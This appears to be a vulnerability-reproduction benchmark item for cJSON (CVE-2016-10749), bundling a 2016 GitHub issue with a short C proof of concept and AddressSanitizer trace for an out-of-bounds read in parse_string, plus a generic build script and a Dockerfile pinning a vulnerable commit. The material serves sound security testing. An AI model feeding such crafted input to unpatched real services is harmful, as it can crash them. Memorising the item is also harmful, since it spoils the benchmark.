Project: cjson (davegamble/cjson), language: c++
Vulnerability instance: cjson.cve-2016-10749
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/DaveGamble/cJSON/issues/30
## Description:
Issue: DaveGamble/cJSON#30
Title: cJSON buffer overflow with odd formatted JSON string
State: closed
Created by: marcograss
Created at: 2016-10-01 08:19:37+00:00
Labels: bug, security

Issue Body:
Hi,

I would like to report a buffer overflow in cJSON, you can test this PoC with a ODD string

```
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include "cJSON.h"

static const char *my_json = "\"000000000000000000\\";

int main(int argc, const char * argv[]) {
    cJSON * root = cJSON_Parse(my_json);
    char * rendered = cJSON_Print(root);
    printf("%s\n", rendered);
    return 0;
}
```

building it with ASAN will trigger a out of bound on the input string, which it can be problematic since in lot of use cases the JSON input to applications using cJSON is untrusted.

Thanks 

Marco

> # 
> 
> ==72479==ERROR: AddressSanitizer: global-buffer-overflow on address 0x0001000138d5 at pc 0x0001000062fb bp 0x7fff5fbff2a0 sp 0x7fff5fbff298
> READ of size 1 at 0x0001000138d5 thread T0
>     #0 0x1000062fa in parse_string cJSON.c:198
>     #1 0x100001a01 in parse_value cJSON.c:366
>     #2 0x1000015bb in cJSON_ParseWithOpts cJSON.c:334
>     #3 0x100001dfa in cJSON_Parse cJSON.c:343
>     #4 0x10000e481 in main main.c:17
>     #5 0x7fff834bb5ac in start (libdyld.dylib+0x35ac)
> 
> 0x0001000138d5 is located 0 bytes to the right of global variable '<string literal>' defined in '/Users/marco/Downloads/cjsontest/cjsontest/main.c:14:30' (0x1000138c0) of size 21
>   '<string literal>' is ascii string '"000000000000000000\'
> SUMMARY: AddressSanitizer: global-buffer-overflow cJSON.c:198 in parse_string
> Shadow bytes around the buggy address:
>   0x1000200026c0: 02 f9 f9 f9 f9 f9 f9 f9 03 f9 f9 f9 f9 f9 f9 f9
>   0x1000200026d0: 05 f9 f9 f9 f9 f9 f9 f9 03 f9 f9 f9 f9 f9 f9 f9
>   0x1000200026e0: 03 f9 f9 f9 f9 f9 f9 f9 03 f9 f9 f9 f9 f9 f9 f9
>   0x1000200026f0: 00 f9 f9 f9 f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9
>   0x100020002700: 03 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
> =>0x100020002710: 04 f9 f9 f9 f9 f9 f9 f9 00 00[05]f9 f9 f9 f9 f9
>   0x100020002720: 00 00 00 00 00 00 00 00 01 f9 f9 f9 f9 f9 f9 f9
>   0x100020002730: 06 f9 f9 f9 f9 f9 f9 f9 03 f9 f9 f9 f9 f9 f9 f9
>   0x100020002740: 05 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
>   0x100020002750: 07 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9
>   0x100020002760: 05 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
> Shadow byte legend (one shadow byte represents 8 application bytes):
>   Addressable:           00
>   Partially addressable: 01 02 03 04 05 06 07 
>   Heap left redzone:       fa
>   Heap right redzone:      fb
>   Freed heap region:       fd
>   Stack left redzone:      f1
>   Stack mid redzone:       f2
>   Stack right redzone:     f3
>   Stack partial redzone:   f4
>   Stack after return:      f5
>   Stack use after scope:   f8
>   Global redzone:          f9
>   Global init order:       f6
>   Poisoned by user:        f7
>   Container overflow:      fc
>   Array cookie:            ac
>   Intra object redzone:    bb
>   ASan internal:           fe
>   Left alloca redzone:     ca
>   Right alloca redzone:    cb
> ==72479==ABORTING



Comments:
Comment by FSMaxB on 2016-10-02 11:38:49+00:00:
I can confirm this. Looking into it right now.


---

Comment by FSMaxB on 2016-10-02 11:58:51+00:00:
Fixed via 94df772


---

Comment by fgeek on 2016-11-07 09:04:41+00:00:
CVE request: http://www.openwall.com/lists/oss-security/2016/11/07/2


Build script:
#!/bin/bash
# Default build script template for C/C++ projects
set -eu

# Define configuration options
CONFIG_OPTS="--disable-shared"
CMAKE_OPTS="-DCMAKE_BUILD_TYPE=Debug"
MAKE_OPTS="-j$(nproc)"
BUILD_DIR="build"

# 1. Run build preparation scripts if they exist
for prep_script in buildconf autogen.sh bootstrap; do
  if [ -x "$prep_script" ]; then
    echo "Running $prep_script..."
    ./$prep_script
    break
  elif [ -f "$prep_script" ]; then
    echo "Found $prep_script but it's not executable, setting permissions..."
    chmod +x $prep_script
    ./$prep_script
    break
  fi
done

# 2. Handle different build systems
if [ -f "configure" ]; then
  echo "Found configure script, running with options: $CONFIG_OPTS"
  ./configure $CONFIG_OPTS

  echo "Building with make $MAKE_OPTS"
  make $MAKE_OPTS
elif [ -f "CMakeLists.txt" ]; then
  echo "Found CMakeLists.txt, using CMake build system"
  mkdir -p $BUILD_DIR
  cd $BUILD_DIR
  cmake $CMAKE_OPTS ..
  make $MAKE_OPTS
elif [ -f "Makefile" ] || [ -f "makefile" ]; then
  echo "Found Makefile, building with make $MAKE_OPTS"
  make $MAKE_OPTS
elif [ -f "meson.build" ]; then
  echo "Found meson.build, using Meson build system"
  mkdir -p $BUILD_DIR
  meson setup $BUILD_DIR .
  cd $BUILD_DIR
  ninja
elif [ -f "GNUmakefile" ]; then
  echo "Found GNUmakefile, building with make $MAKE_OPTS"
  make $MAKE_OPTS
elif [ -d ".git" ] && [ -f "Makefile.am" ]; then
  echo "Found Makefile.am, running autoreconf"
  autoreconf -i
  ./configure $CONFIG_OPTS
  make $MAKE_OPTS
else
  echo "WARNING: No recognized build system found!"
  echo "Trying generic approach:"
  
  # Try to detect common source patterns and compile them
  if ls *.c >/dev/null 2>&1 || ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
    echo "Found C/C++ source files, attempting direct compilation"
    if ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
      CXX=${CXX:-g++}
      echo "Compiling C++ sources with $CXX"
      $CXX -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.cpp *.cc 2>/dev/null || true
    elif ls *.c >/dev/null 2>&1; then
      CC=${CC:-gcc}
      echo "Compiling C sources with $CC"
      $CC -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.c 2>/dev/null || true
    fi
  fi
fi

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y cmake
RUN git clone https://github.com/davegamble/cjson cjson
RUN git -C cjson checkout 3a7bd6924a67c301b8811f521de6ed07c7cf0c3c
WORKDIR $SRC/cjson
COPY build.sh $SRC/

Additional files: